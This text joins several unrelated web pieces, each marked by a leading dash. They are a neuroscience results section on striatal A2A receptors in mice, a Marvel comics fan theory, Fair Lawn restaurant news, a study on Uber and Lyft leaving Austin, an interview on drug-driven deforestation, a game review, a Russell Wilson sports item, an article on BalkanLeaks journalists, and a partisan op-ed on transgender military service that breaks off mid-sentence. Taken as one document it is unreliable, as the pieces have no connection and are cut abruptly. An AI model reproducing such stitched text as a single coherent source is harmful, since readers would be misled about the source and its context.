=3.258, p=0.036). The simple main-effect analyses of the devaluation test, respectively, in each group confirmed that only mice with optoA 2A R expression in the DMS and time-locked light stimulation performed habitually (F 1,8 =7.141, *p<0.05 for light off and F 1,7 =6.074, *p<0.05 for random stimulation groups, F 1,6 =16.050, **p<0.01 for mCherry group). Taken together, statistical analyses of both sets of the experiments (Figure 2d by the preplanned t-test and Figure 2f by the repeated-measures ANOVA) support that optogenetic activation of striatopallidal A 2A R signaling in the DMS modulated the mode of instrumental behaviors by acting precisely at the time of the reward.  Optogenetic Activation of Striatopallidal A 2A R Signaling in the DLS had Relatively Limited Effects on Habitual Formation  Next, we examined the effect of optoA 2A R signaling in the DLS on instrumental behaviors. Similarly, we confirmed the optical fiber implantation sites and expression of optoA 2A R to be restricted to DLS by immunofluorescence (Figure 3a). Following the RI training sessions, optoA 2A R mice with ‘light off’ (n=10) or with ‘time-locked’ stimulation (n=13) gradually increased lever presses. There was no main effect of optoA 2A R stimulation (F 1,21 =0.156, p>0.05) and no interaction effect of training session × optoA 2A R stimulation in the RI sessions (F 5,105 =0.916, p>0.05) by repeated-measures ANOVA (Figure 3b). After the 4th day of RI60 training, repeated-measures ANOVA analyses of the devaluation test revealed that there was no optogenetic manipulations × normalized devaluation interaction effect (F 1,21 =0.022, p=0.884). However, the preplanned t-test showed that optoA 2A R mice with ‘time-locked’ stimulation tended to perform goal-directed behavior (normalized devaluation test, t 1,12 =3.725, **p<0.01 (Figure 3c); devaluation test, t 1,12 =2.030, p>0.05 (Supplementary Figure 2c)). Conversely, optoA 2A R mice with ‘light off’ displayed habitual behavior (normalized devaluation test, t 1,9 =1.270, p>0.05 (Figure 3c); devaluation test, t 1,9 =1.868, p>0.05 (Supplementary Figure 2c)). Thus, optogenetic activation of striatopallidal A 2A R signaling in the DLS tended to promote goal-directed behavior, but its effect was relatively limited.  Figure 3 Optogenetic activation of striatopallidal adenosine A 2A receptor (A 2A R) signaling in the dorsolateral striatum (DLS) exerts relatively limited and possibly opposite control over habitual action compared with the optoA 2A R in the dorsomedial striatum (DMS). (a) Left: Schematic illustration of the sites of optical fibers implantation. Right: A representative image of mCherry-optoA 2A R expression and fiber implantation. (b) Mice were under continuous reinforcement (CRF) training followed by RI30 and then RI60 training with or without optoA 2A R stimulation as described in the Materials and Methods section. The performances of optoA 2A R mice with ‘time-locked’ stimulation (n=13) or with ‘light off’ (n=10) during the acquisition phase were indistinguishable (repeated-measures analysis of variance (ANOVA), random interval (RI) training course × optogenetic stimulation interaction: F 5,105 =0.916, p>0.05; optoA 2A R stimulation main effect: F 1,21 =0.156, p>0.05). (c) OptoA 2A R mice with ‘time-locked’ stimulation or ‘light off’ during the RI training sessions were subjected to devaluation test as described in the Materials and Methods section. Repeated-measures ANOVA analyses revealed that there was no normalized devaluation × optogenetic stimulation interaction effect (F 1,21 =0.022, p=0.884). However, preplanned t-test analysis revealed that optoA 2A R mice receiving ‘time-locked’ stimulation tended to perform goal-directed behavior (only for the normalized devaluation test: t 1,12 =3.725, **p<0.01; but not for devaluation test: t 1,12 =2.030, p>0.05; Supplementary Figure 2c). Whereas optoA 2A R mice with ‘light off’ displayed habitual behavior (normalized devaluation test: t 1,9 =1.270, p>0.05; devaluation test: t 1,9 =1.868, p>0.05; Supplementary Figure 2c). Data are presented as the mean±SEM. The color reproduction of this figure is available on the Neuropsychopharmacology journal online. Full size image Download PowerPoint slide  Knockdown of A 2A Rs in the DMS Enhanced Goal-Directed Behavior, Whereas Knockdown of the A 2A Rs in the DLS had a Limited Effect on Habitual Behavior  We further evaluated the effects of focal knockdown of the A 2A Rs in the DMS and DLS on instrumental learning. Figures 4a and 5a provided representative outline of the AAV transfection and A 2A R focal knockdown areas of the DMS and DLS. Fluorescent images showed that A 2A Rs expression (the red fluorescence) was reduced selectively in the Cre-expressing regions (indicated by green fluorescence). Quantitative analysis of the A 2A R immunoreactivity (Figures 4b and 5b) confirmed selective knockdown of A 2A Rs in the DMS (by 91%) and DLS (by 94%) after transfection with AAV-Cre-zsGreen only in A 2A Rflox/flox mice but not in WT mice (A 2A R+/+).  Figure 4 Focal knockdown of adenosine A 2A receptors (A 2A Rs) in the dorsomedial striatum (DMS) enhances goal-directed behavior. (a) Left: Schematic illustration of the maximal (black) and minimal (gray) A 2A R knockdown areas in the DMS. Right: Representative immunofluorescent photomicrographs show focal knockdown expression of A 2A Rs in the DMS after injection of AAV-Cre-zsGreen into the A 2A R(flox/flox) (right panels) and A 2A R(+/+) mice (left panels). Intensity of A 2A Rs (red) were significantly deceased in the overlapping area with zsGreen expression (the yellow circle) in A 2A R(flox/flox) mice but not in A 2A R(+/+) mice. (b) Quantitative analysis showed that A 2A R expression were markedly reduced in the virus-transfected regions of A 2A R(flox/flox) mice compared with A 2A R(+/+) mice. (c) Two–three weeks after bilateral injection of AAV-Cre-zsGreen into the DMS, A 2A R(flox/flox) mice and A 2A R(+/+) mice (n=8 per group) were under CRF-RI30-RI60 training paradigm as described in the Materials and Methods section. Both groups similarly increased their lever pressing rate during the acquisition phases (repeated-measures analysis of variance (ANOVA) revealed no random interval (RI) period × genotype interaction effect: F 5,65 =0.859, p>0.05; and no genotype main effect: F 1,13 <0.001, p>0.05). (d) Mice with DMS A 2A R knockdown significantly reduced their lever pressing in the devalued condition compared with that of the valued condition, but the A 2A R(+/+) mice responded insensitively to the selective satiety devaluation treatment (normalized devaluation × genotype interaction effect: F 1,13 =9.161, p=0.01; simple effect analysis: F 1,6 =35.683, **p<0.01 for A 2A R focal knockdown mice by repeated-measures ANOVA). Data are presented as the mean±SEM. CRF, continuous reinforcement. The color reproduction of this figure is available on the Neuropsychopharmacology journal online. Full size image Download PowerPoint slide  Figure 5 Focal knockdown of the adenosine A 2A receptors (A 2A Rs) in the dorsolateral striatum (DLS) exerts relatively limited effects on habitual behaviors. (a) Representative image shows that A 2A Rs were knocked down selectively in the area with the AAV-Cre-zsGreen expression in the DLS of A 2A R(flox/flox) mice but not in A 2A R(+/+) mice. The yellow circle depicted the boundary of the AAV-Cre-zsGreen expression and A 2A R knockdown area. (b) Quantitative analysis shows that A 2A R expression was markedly reduced in the AAV-Cre-zsGreen transfected regions of A 2A R(flox/flox) mice compared with A 2A R(+/+) mice. (c) Focal A 2A R knockdown in the DLS (n=7) did not affect lever pressing during the acquisition phase compared with their A 2A R(+/+) controls (n=6) (repeated-measures analysis of variance (ANOVA) revealed no random interval (RI) period × genotype interaction effect: F 5,55 =1.234, p>0.05; and no genotype main effect: F 1,11 =0.534, p>0.05). (d) There was no genotype × devaluation interaction effect (F 1,11 =1.993, p=0.186, repeated-measures ANOVA) for the normalized devaluation test. Both groups similarly showed insensitivity to outcome devaluation (DLS A 2A R knockdown mice: normalized devaluation; t 1,6 =0.646, p>0.05; wild-type (WT) mice: normalized devaluation; t 1,5 =2.017, p>0.05). Data are presented as the mean±SEM. CRF, continuous reinforcement. Full size image Download PowerPoint slide
-Or – “Comic-Book Time: Explained.”  The Marvel Universe as we know it (barring a few retcons and absorptions of existing properties such as Captain America) can be seen to have begun with the first issue of the Fantastic Four. For the first few years, it seemed that the stories were happening in ‘real time,’ but slowly, time in the Marvel Universe began to change, to stretch and flow and even reverse itself a time or two. Many a comics fan has remarked at one time or another how difficult it is to resolve the sheer number of happenings with the in-universe explanations of how long the characters have been around.  Three things you probably DIDN’T know about Marvel Time:  The Marvel Universe DID begin in 1961.  Everything you know IS NOT wrong.  And it’s all the intentional and deliberate work of one single, terrifyingly powerful and dizzyingly twisted mind...  Time Is An Illusion  Before we get too far into our exercise, I want to lay out the ground rules under which I am working:  1. We accept that Fantastic Four #1 actually takes place when it was published, in 1961.  2. We accept that all ‘topical references’ (i.e. Captain America fighting Nixon, then working alongside Carter in ‘The Avengers’, then saving Reagan from the Serpent Society, et al) actually happened as shown, in their appropriate time-frames.  3. We accept that it is currently the year 2011 in Marvel Comics continuity.  Luckily for us, we have a handy touchstone of time’s passage throughout the early years of the Marvel Universe, one Peter Parker, bitten by a radioactive spider during his sophomore year of high school. That story saw print in August 1962, and Peter graduated high school in Amazing Spider-Man #28 in the fall of 1965. Thus, Peter’s last three years of high school take place over the space of three years for us as well. Reed Richards and Susan Storm get married in the summer of 1965, and two years later, in the fall of 1967, we discover that Sue is expecting. Since Amazing Spider-Man Annual #4 guest-stars the Human Torch, and since the Official Marvel Index of The Amazing Spider-Man puts that issue BEFORE Amazing Spider-Man #53 (which came out the same month as Fantastic Four Annual #5, where we find out about the pregnancy) we can see that time is passing at roughly the same rate for Spider-Man and for the FF. (Stay with me, I’m just showing my work, here.)  In the fall of 1968, Susan Richards goes into labor. (Our first hint of what’s to come is that fact that Sue’s pregnancy takes place over the course of nearly twelve months instead of the customary 37 to 42 weeks of gestation, the first time that the Fantastic Four’s stories don’t conform to ‘real time.’)  Most children are only a few minutes old when officially named. Reed and Sue’s baby, born in November 1968, is not named for nearly THIRTEEN MONTHS, our time, receiving the sobriquet “Franklin Benjamin Richards” in January 1970.  The Mind Games Start Early  Two things about this are significant to someone with a keen eye (and a mind for conspiracy theories): One, the thirteen months of stories we have been presented cannot actually cover thirteen months of time for the characters, as not even absent-minded professor Reed Richards would wait a year to pick a name for his firstborn. Two, the child is named for his grandfather, later revealed to be a time-traveler who looks out for him, and (Sorry, I mixed up my grandpa stories!) his ‘Uncle Ben,’ the most physically imposing member of the Fantastic Four. In short, it’s almost as if his parents were influenced into naming him so that a powerful fellow would be particularly interested in his welfare.  Very early in his life, Franklin is shown to have unusual abilities (he is able to see his mother while invisible, and awakens The Thing at one point using latent psychic powers.) After interactions with Annihilus and later Ultron, Franklin’s powers became a running theme, scaling up and down as well as turning on and off with relative regularity. No less an authority than Professor X quantified him as one of the most powerful mutants alive. By the time of Fantastic Four #134 (May 1973) a five-year-old Franklin looks to be the size of a (rather creepy) three-year-old.  Okay, I may be underestimating the boy’s size. But by the time of Fantastic Four #170 (May 1976) Franklin looks like… a rather creepy (and strangely brunette) three-year-old.  And by the time of Fantastic Four #224 (November 1980), the now 12-year-old Franklin looks and acts approximately seven or so.  And is it just me, or does it look like he just made Mommy’s pants disappear? Now, at this point, much of my speculation is based on what you expect a child of a given age to look or act like, but how can we explain it when, nearly a year later, Franklin seems to be five again?  That particular interaction with Annihilus is interesting, as well, as it leads to Franklin once again manifesting his super-powers (openly.) The answer is as simple as it is frightening:  Franklin Richards is whatever age he wants to be.  And he not only makes himself that age, he makes it so that he’s ALWAYS been that age, and no one ever remembers anything different BECAUSE HE CHANGES THE FUNDAMENTAL NATURE OF THE MARVEL UNIVERSE. In a very real way, Franklin Richards IS ‘Marvel Time.’ And the entirety of his universe ages more slowly because Franklin doesn’t want to grow up and he certainly doesn’t want things to change too much while he enjoys his extended childhood.  Where It Gets All Icky And Freudian  By the early 80’s Franklin is firmly established as being somewhere between 6 and 9 years old, when the first echoes of a change start to occur in his universe. Seeing as how he was born in 1968, Franklin is starting to reach what should be the age of puberty, where he should start liking girls and growing up. By no coincidence, the Marvel Universe of this era is witness to the events that the X-Men would come to know as ‘Days of Future Past.’  For those of you that don’t know, ‘DoFP’ is an alternate reality where all the mutants are nearly wiped out, and Franklin is the most powerful creature left in the world, and he has a girlfriend and you can’t call her and check it or nothin’, because she’s from the future. In short, it’s the quintessential adolescent power fantasy of heroism and sexual potency. During this same timeframe, Susan Richards becomes pregnant again, and Reed is forced to try and save his child from cosmically irratiated body chemistry. This time it fails and the Richards’ second child is believed to have died. (We later learn that “Future Franklin” arrived and mystically moved his sister’s spirit somewhere else. Write that down. It’s important later…) Altering his age yet again, Franklin becomes an official superhero for the first time as Tattletale, auxiliary member of Power Pack.  Franklin’s age from this point on (1987, the year of his what should be his 19th birthday) seems a bit older, hovering in the 8 to 11 year-old range, and his first foray into superherodom seems to convince him that this vague pre-pubescent realm is a good thing. Franklin also allows the Marvel Universe to grow up a bit, transitioning into the dark and gritty 90’s era. But, of course, his idea of “grown up” is all about beard stubble and phallic weapons and leather jackets and adolescent angst. Now, remember that bit where Franklin came back in time to save his sister’s mind? Why would that be significant?  Because, if we accept our hypothesis that the Marvel Universe is under his control, that means we have to accept the unpleasant fact that Franklin caused his baby sister’s seeming demise. His motive: Not wanting to share Mommy’s attention with ANYONE. To add an exclamation point to these emotional issues, Franklin’s time-travelling grampa arrives and ages him in a dimension outside of time or something (ironically, he ends up close to his actual age of 25 or so) allowing Frank to become the superhero Oedipus Psi-Lord.  Notice the Invisible Woman’s costume here, or more to the point, the relative lack thereof… An associate of mine once remarked that Susan Richards is the mother figure of the Marvel Universe, and the problem with this peek-a-boo stripperific suit is simple: “Who wants to see the mother of the Marvel Universe half-naked?” Answer: A kid with some serious maternal bonding issues after years of nannies and butlers and witch-caretakers, that’s whom. To add to the whole (you should excuse the expression) complex, Reed Richards is lost, presumed dead at this point, leaving Mommy single and coincidentally dressed like a whore from Krypton. “Who said anything about talking,” indeed.  Franklin remains a grown-up superhero for a few years, eventually missing his dad enough to resurrect him. When he tires of the responsibilities of adulthood, Franklin lets things go back to normal, de-aging himself again. In the late 90’s, in a fit of pique, he wishes his family and all their friends to the cornfield dead, but still manages to protect them by creating an alternate world where they’re safe and sound (albeit poorly drawn.) Around the time of what should be his 30th birthday, he realizes that he was unfair to his lost sister, and brings little Valeria back, finally ready to share his parents’ love and attention. Franklin never quite completely overcomes his Quentin Tarentino-esque love of the terse, stubbly tough guy but at the same time rediscovers his childhood love of the brightly-clad superheroes like Spider-Man.  Eternal Sunshine In A Perfect Museum Of Colorful Toys  At present, Franklin Richards is chronologically 43 years old, and may not even himself fully realize that he is controlling the entire universe. He has finally learned to socialize, taking a place in the Future Foundation, recognized as one of the greatest potential minds of the future, and surrounding himself with peers who are likewise prodigious, including his sister Valeria. He has periodically re-injected himself as center of attention, as seen recently when Galactus himself arrived to assess Franklin as a threat. He has given up many of the childish pursuits of his youth, and has accepted that things don’t always have to have happy endings. He has realized that he likes Spider-Man young and single, that he likes the Avengers nearly as much as the Fantastic Four, but that Daddy is (and will always be) the smartest man in the world, and Mommy the strongest woman. Uncle Ben is his special favorite (see Fear Itself #5 if you don’t believe me) while he holds a quiet resentment of popular Uncle Johnny. (Sometimes he even wishes Uncle Johnny were dead, but he knows he won’t stay mad forever.) Like many kids, he likes the idea of having more than one of the same toy in different colors, and wonders how the Hulk would look in red, or how Wolverine would look as a girl. His adult mind likes to ponder huge world-shattering stakes, but his child mind doesn’t really like to (and, indeed, isn’t equipped to) think about long-term consequences. And, of course, Franklin likes being 12 and half years old more than anything.  Time is never going back to normal, if he has his way, and none of the denizens of the Marvel Universe, not even super-smart Daddy, will never know any different. Like little Anthony Fremont, he quietly enjoys that everyone in the world is just a puppet dancing on his stage, and he’ll cut their strings, change their clothes and repaint them however he sees fit, whenever the mood strikes. And that’s a good thing, Franklin. A real… real good thing…  (Of course, there’s a completely DIFFERENT subtle and disturbing reason why no one in the DC Universe ever ages, but that, as they say, is another ((Classified)) story.)
-FAIR LAWN — Two restaurants will open their first Bergen County locations at a development under construction on Route 208.  Habit Burger, a California burger chain, will open its first New Jersey location at the Fair Lawn Promenade, and Noodles & Company, a Colorado fast-casual chain will open its first Bergen County restaurant, Scott Loventhal, director of development of Garden Homes, said.  Garden Homes is the developer of the mixed-use project. The Promenade will include 65,000 square feet of retail and office space in three buildings and 150 residential units in two other buildings.  TKL Research, a clinical research organization based in Rochelle Park, will be the first tenant to open in March, Loventhal said. TKL plans to open a new 25,000 square-foot clinic along Route 208.  Aside from Habit Burger, Noodles and TKL, tenants will include Anthony's Coal Fired Pizza, Qdoba, Starbucks, Verizon Wireless, Massage Envy, European Wax and Cups Frozen Yogurt, as well as dentist's office and three other office tenants, Loventhal said.  "It's a nice mix of service and restaurants and office, which we think will be a complement to the residential," he said.  Loventhal hopes to have the first residents move into the luxury apartments in April. Rents start at $1,900 a month for a one-bedroom apartment, plus utilities.  The project should be fully occupied by the end of 2014, he said.  Residents and visitors can access the Promenade from Route 208 northbound and Pollitt Drive. The project is about a 15-minute walk from the Radburn NJ Transit train station.  Construction started in 2012 and should be complete by the end of 2014, Loventhal said. The site was formerly home to an Eastman Kodak processing facility.  "We had a really nice collaborative effort with the officials in Fair Lawn to create a great ratable for the town," Loventhal said.
-Campaign signs concerning a municipal vote over fingerprint requirements for ride-hailing companies such as Uber and Lyft are seen along a roadway in Austin, Texas, May 6, 2016. Reuters/Jon Herskovitz Ride-hailing giants have said for years that their services will start to kill car ownership by giving urban dwellers a cheaper and more efficient way of getting around.  A recent study from the University of Michigan Transportation Research Institute, Texas A&M Transportation Institute, and Columbia University supports that notion.  Uber and Lyft left Austin, Texas in May 2016 after servicing the city since 2014. The ridehailing giants called it quits after voters upheld strict regulations on the companies, like issuing fingerprint-based background checks.  Uber and Lyft returned in May after lawmakers passed a bill overriding the strict regulations.  The departure offered a unique window of opportunity for researchers to investigate how people changed their habits after growing accustomed to ride-hailing services.  The study surveyed 1,200 Austin locals and asked what trips they typically took using an Uber or Lyft. It then asked how they were making those same trips now that the ride-hailing services weren't available.  The study found that 41% switched back to their own cars to fill the void left by Uber and Lyft. Among the people who turned back to their own vehicles, 9% bought an additional car strictly for the purpose of getting around without the ride-hailing giants.  From there, 42% of people surveyed switched to another ride-hailing company in the area. A flurry of community-based services and smaller apps entered Austin in the wake of Uber and Lyft's departure, such as Arcade City Austin.  Only 3% of participants surveyed said they turned to public transit.  The takeaway isn't so much that Uber and Lyft reduce the need to own a car, but rather they limit how often people use a car they already own, Robert Hampshire, lead author of the study, said in an interview.  "A large faction of these people already had a car and just weren't using it as much," he said. "Then when Uber and Lyft left, they began to use it more often."  Still, it's noteworthy that roughly 100 people felt the need to buy a car without the presence of a major ride-hailing service. Additionally, people who switched to their personal vehicle were 23 times more likely to report making more trips than those who switched to a community-based service like Arcade City Austin.  "What I thought stood out the most was for those who did switch to their personal vehicle, they drove considerably more often," Hampshire said.  Kelly Sullivan/Getty Images  Having to weigh the cost of each individual ride may encourage people to take fewer trips, Hampshire said. Most people don't think about how much they drive after purchasing a vehicle outright.  That could be good news for major cities, which are grappling with worsening congestion. If people feel compelled to only take a Lyft or Uber when it's absolutely necessary, that reduces the number of cars on the road. In a small number of cases, the services' presence could compel someone to forego purchasing a car altogether.  Hampshire said he was surprised by how few people opted to take public transportation.  "In Austin, their public transit system is not as built out as other cities. It may not be seen as a viable option," he said.  Automakers are preparing for the death of car ownership in cities. General Motors launched in 2016 its car-sharing service called Maven. Maven is primarily used by millennials who may be reluctant to own a car in expensive cities like New York and San Francisco.  Although the study bodes well for traffic relief, it's worth taking it with a grain of salt.  Ditching a personal car in favor of ride-hailing apps can help alleviate traffic if done on a wide enough scale. But unless more people start to rely on carpool services like Lyft Line or UberPOOL, ride-hailing still contributes to more single-occupancy cars on the road.  Hampshire said of the people surveyed who used Uber and Lyft as their primary method for getting around, only 12% elected to use the companies' carpool options.  The study's results may also vary in cities that have better access to public transportation.  Either way, the study shows ride-hailing can make it easier to ditch personal cars in large cities.
-Research by the US Fish and Wildlife Service has found that laundered profits from the illegal drug trade contribute to deforestation along smuggling routes in Central America.  Steven Sesnie, an ecologist and the lead author of the research, says the drug economy is threatening some of the most remote, biodiverse forests in Central America — and the people who have lived there for thousands of years.  Drug profits are used, in many cases, to purchase land deep in the forest for cattle ranching. The beef can then be sold legally and the proceeds made to look like the result of a legitimate commercial enterprise. This has led to the destruction of about 1 million acres of Central American forest over the last decade, a process Sesnie calls “narco-deforestation.”  Related: Drug traffickers are wiping out the jaguar in Central America  Sesnie’s research covered all of Central America, but focused more intently on a few countries where researchers spotted higher rates of deforestation and larger patches of cleared forest. These areas, especially Honduras and Guatemala, corresponded with areas of high-volume cocaine trafficking. Sesnie’s team arrived at the 1 million acre figure by combining a newly released data set on global forest change with information from a counternarcotics database, which quantifies how much cocaine per year is being transported to certain countries and the volume of drugs seized, lost or delivered.  Most cocaine production occurs in Peru, Bolivia and Colombia, but 86 percent of the cocaine that arrives in the US is currently transported through Central America, which generates huge profits for local traffickers.  “That leaves a lot of money in these places, and this money is often invested in other illegal activities or illegal land markets,” Sesnie explains. “Eventually, [this] allows that money to be legitimized or transferred into the legal economy. That's the nexus of where the deforestation occurs. It's an agricultural driver, but underneath it is an effort to launder these illegal profits.”  The deforestation is occurring mainly in remote areas along the Caribbean coast of Central America, Sesnie says.  “These are really the last large expanses of lowland, highly diverse tropical forests that are also inhabited by indigenous groups who are primarily the stewards of these areas,” he explains. “They are fishermen, hunters and small-share farmers who have lived in these spaces for many thousands of years. Oftentimes, they engage in land clearing, but that has been traditionally a shifting cultivation, in which small areas are cleared and then left to rest. In tropical forest settings, things can recover quite quickly.”  Sesnie says the relationship between the indigenous communities and the traffickers is "interesting and not always a bad one.” Often, the traffickers provide sources of employment that weren't previously available and some have even been known to provide health benefits, he explains.  Money from illegal trafficking also gets invested in other ways, Sesnie says: ecotourism, hotels, African palm plantations, other forms of agriculture — even shade-grown coffee. But, while the traffickers “may be fulfilling an economic development role, that can also bring a great deal of violence,” he adds.  “Murder rates in these areas have risen sharply. [Drug trafficking] can bring a lot of social and health problems with it,” he says. “As these drugs flow through these remote areas, they're also consumed. So, it's really a double-edged sword. More often than not, there can be a great deal of harm and violence that also occur in these very remote spaces.”  This article is based on an interview that aired on PRI’s Living on Earth with Steve Curwood.
-you are not paying for the devlopment of this game.  insted they are using the money made from this to create an MMO that will be pay to play based on the gameplay from this.  basicly you are testing and ironing out bugs so the MMO will be launched near perfect with little or no cost to the devlopers, those that have pointed this out on the companys forums have been deleted.  as far as this "game" goes, it remains to be known what will happen at the launch of the MMO (btw you get 1 free chr for buying this, thats right, only 1!) but my guess is this will be pulled.  this is not a direct flame at the compnany involved, but i wish i had known this before buying.  guess i should have reserched it first.  you are not paying for the devlopment of this game. insted they are using the money made from this to create an MMO that will be pay to play based on the gameplay from this. basicly you are testing and ironing out bugs so the MMO will be launched near perfect with little or no cost to the devlopers, those that have pointed this out on the companys forums have been deleted. as far as this "game" goes, it remains to be known what will happen at the launch of the MMO (btw you get 1 free chr for buying this, thats right, only 1!) but my guess is this will be pulled. this is not a direct flame at the compnany involved, but i wish i had known this before buying. guess i should have reserched it first. Check this box if you received this product for free (?) Do you recommend this game? Yes No Cancel Save Changes
-Jon Gruden claims the reason Jimmy Graham isn't getting the ball enough is the fact that Russell Wilson doesn't have the time in the pocket to find him down the field. (0:40)  CINCINNATI -- If Russell Wilson has his way, the trip to his native Queen City this weekend will be one part business, one part feasting.  "The Nasty 'Nati," the Seattle Seahawks quarterback said Wednesday, laughing as he opened his conference call with Cincinnati Bengals reporters. "I haven't had a chance to go lately, but I'm excited to hopefully get some White Castles and Skyline Chili."  Fast food chains White Castle and Skyline Chili are two of the region's more iconic after-hours eating establishments. People born in and around Cincinnati, like Wilson, swear by both. Next to Pete Rose's record-setting 4,192nd career hit, Skyline's three-way and four-way are the most important numbers to those who call Southwest Ohio and Northern Kentucky home.  Hey, @DangeRussWilson, stop in and we'll treat you like royalty. We don't speak for the @Bengals D-line, though. http://t.co/RprxdEeD3M — White Castle (@WhiteCastle) October 8, 2015  Born in Cincinnati's Christ Hospital, Wilson spent very little time in the area before his family moved to Virginia. When he steps foot inside Paul Brown Stadium on Sunday, he will be playing in Cincinnati for the first time in his life. Although he did play the Cincinnati Bearcats once in college, that was a home game for the North Carolina State Wolfpack that Wilson quarterbacked for three years before his only year at Wisconsin.  Wilson said he knew there would be some nostalgia when the Seattle Seahawks landed in the region this weekend.  "We would go back up there every year a few times a year, so ... I used to love watching the Cincinnati Reds," Wilson said. "My dad always used to talk about the Bengals even though he was a huge Chargers fan. Anthony Munoz and guys like that. There's a bunch of memories watching them play. Growing up I used to love their jerseys.  "Like I said, I have very fond memories."  The last time the Bengals and Seahawks met was in 2011, one year before Wilson was drafted by Seattle.
-Bulgarian investigative journalists Atanas Tchobanov and Assen Yordanov created one of the only websites in the world to successfully replicate WikiLeaks' model of anonymously leaked bombshell documents. Now their project may face a similar fate to WikiLeaks': Crippling attacks by the financial institutions of the country they've embarrassed.  Earlier this month, Tchobanov and Yordanov's news outlet Bivol.bg, which publishes documents from their WikiLeaks-like leak site BalkanLeaks, received a letter from Bulgaria's central bank threatening to fine the news organization for publishing "false information and circumstances" that undermine the "reputation and credibility" of four Bulgarian banks that filed the complaint with the government--a violation could carry as much 150,000 Bulgarian lev ($100,000) in penalties.  The offending information, according to the banks, is a U.S. State Department cable obtained by WikiLeaks and published by the two Bulgarian journalists, which details the alleged money laundering and corrupt practices of the Bulgarian finance industry. The leaked 2006 memo details U.S. Ambassador John Beyrle's claims that eight "bad apple" banks in the country were participating in money laundering, often for the mob, as well as making bogus loans to connected companies that were never repaid.  "Banking and financial authorities are aware of the most notorious banks and claim to be working hard to draft legislation and regulations to bring practices in line with Western norms...However, a number of domestic banks apparently manage to escape strict scrutiny," Beyrle's report reads, before launching into a detailed description of each bank's alleged mafia ties and criminal practices.  Included among those eight are Bulgaria's First Investment Bank, Corporate Commercial Bank, Investbank, and Central Cooperative Bank, all of whom are participating in the complaint against Bivol. Bivol says it gave the banks a chance to respond before their publication of the cable, but none of the four now filing the complaint had any comment.  The $100,000 potential penalty for publishing that cable, according to Bivol and BalkanLeaks founder Atanas Tchobanov, would be far greater than the total assets of his tiny media outlet. "It’s an enormous sum," says Tchobanov. "It will ruin us."  Tchobanov argues that the banks' move to penalize him and his partner Yordanov represents political punishment for exposing evidence of the banks' corruption. "If there's any criminal case, the authorities should investigate criminal money laundering. Now instead we’re under investigation for publishing that cable," says Tchobanov. "Clearly it’s related to this nexus of corruption, organized crime and banks who cover those activities."  Bivol and BalkanLeaks, after all, have made powerful enemies in Bulgaria. Using the same anonymity tools as WikiLeaks, the group has obtained leaked documents exposing judicial bribery, former members of the Soviet-tied secret police, and blackmailing between Bulgarian prosecutors. After obtaining and publishing a State Department cable on Bulgarian organized crime the group received from rogue WikiLeaks ex-associate Israel Shamir last summer, Bivol partnered with Assange's group to release the rest of WikiLeaks' Bulgaria-related cables. One of those cables accused Bulgarian prime minister Boyko Borisov of close mafia ties, a claim he vigorously dismissed in a Bulgarian TV interview as "yellow journalism."  (For the full story of Bivol, BalkanLeaks and WikiLeaks, check out my book, This Machine Kills Secrets, or read the series of excerpts related to BalkanLeaks at Slate.)  I've reached out to all four banks who filed the complaint against the Bulgarian journalists, but only heard back from First Investment Bank, which responded that it had pursued the complaint "with the sole purpose to protect our repute by discontinuation of the practice of communication of false information concerning our institutions and acting on the advice of an outside legal counsel" and referred me to the relevant section of Bulgaria's banking regulations.  Reporters Without Borders plans to release a statement Wednesday expressing the group's support for Bivol. In a phone interview with Olivier Basille, the executive director of the group, he told me that if the banks actually sought to correct false information published by Bivol, they would have used traditional defamation law rather than the central bank's strong arm tactics, and notes that Bivol has merely published allegations from an official source. "It’s the duty for the media to investigate the way a society and the financial system functions," he says. "When there are sources of information that raise questions in the public interest, it’s their duty to publish it."  The Bulgarians aren't the first to face a backlash over the leaked State Department cables, of course. WikiLeaks itself faced a financial blockade coordinated by Visa, Mastercard, Paypal, Bank of America and Western Union that deprived it of the majority of its donation sources for more than a year. Lately the group has become so strapped for cash that it's created a donation-based paywall around its content, a move that has angered some of its most steadfast supporters.  Tchobanov and Yordanov say they plan to fight any charges from Bulgaria's central bank and are raising money for a legal defense through a donations page on their site. Tchobanov tells me that the media outlet currently has total savings of less than $2,000.  But he believes that calling more attention to the banks' alleged corruption will do more to keep his investigative news site afloat than going silent. Tchobanov still hopes to turn law enforcement's spotlight from his site's publication to the banks themselves. "We're not going to hide, but to expose this and speak loudly," Tchobanov says. "We’re in a situation of publish or perish."  —  Follow me on Twitter, and check out my new book, This Machine Kills Secrets: How WikiLeakers, Cypherpunks and Hacktivists Aim To Free The World’s Information.
-Critics of President Donald Trump’s decision to bar transgender Americans from serving in the U.S. armed forces are citing a 2016 RAND Corporation study that, they claim, refutes “the idea that transgender soldiers are somehow expensive, or that they undermine the morale and cohesion of the military over all,” as the New Yorker put it.  The question of cost relates to gender transition treatment, which some transgenders want the military to provide for them.  The RAND study says that the cost of gender transition treatment for transgender service members would be “relatively low” — that is, relative to total military expenditure on health care. But a closer look at the numbers in the study reveals that the health care costs of transgenders who choose to undergo gender transition treatment in the military would be some 14 times higher than the average health care costs of service members in general.  The study estimates that between 29 and 129 transgender service members in the active component of the military would choose to utilize “transition-related health care” annually. The mid-range estimate is 79 individuals per year. Given that the total active component population of the military in 2014 was 1,326,273, that means about 0.006% of service members could use gender transition-related health services. The RAND study estimates that the annual cost of such services would be as low as $2.4 million and as high as $8.4 million, based on different assumptions about the relative prevalence of transgenderism within the military and between men and women. That represents “a 0.04- to 0.13-percent increase in active-component health care expenditures,” RAND concludes. The mid-range estimate for that increase would be 0.085 percent. Therefore 0.006% of service members would be responsible for a 0.085% increase in costs — i.e. a transitioning service member’s medical bills would be 14 times the average.  There are large categories of people who are excluded from military service because of medical conditions — e.g. asthma — that are cheaper and easier to treat than transgender-related health issues (both physical and mental).  As for the question of morale and cohesion, the RAND study is explicit about some of the issues that the military would encounter — such as the need to screen for additional mental health issues, and the problem of recovery from gender-transition surgery. RAND notes that it may not be possible to deploy transgender service members: “Other countries [with transgender service members] have found that, in some cases, it may be necessary to restrict deployment of transitioning individuals to austere environments where their health care needs cannot be met.”  The RAND study noted that other countries had not experienced problems with unit cohesion and transgender service members. “However,” it noted, “we do not have direct survey evidence or other data to directly assess the impact on the U.S. military.” In Australia, Canada, Israel and the United Kingdom, the effects were minimal, but these militaries “had fairly low numbers of openly serving transgender personnel.”  Given significant doubts, it was entirely appropriate for the U.S. military to make its own recommendations, which the president has followed.  Critics of the president’s new policy have compared the transgender ban to the racial segregation of the military. In fact the comparison is useful. Racial segregation was a policy of social engineering championed by so-called “progressive” Democrats like President 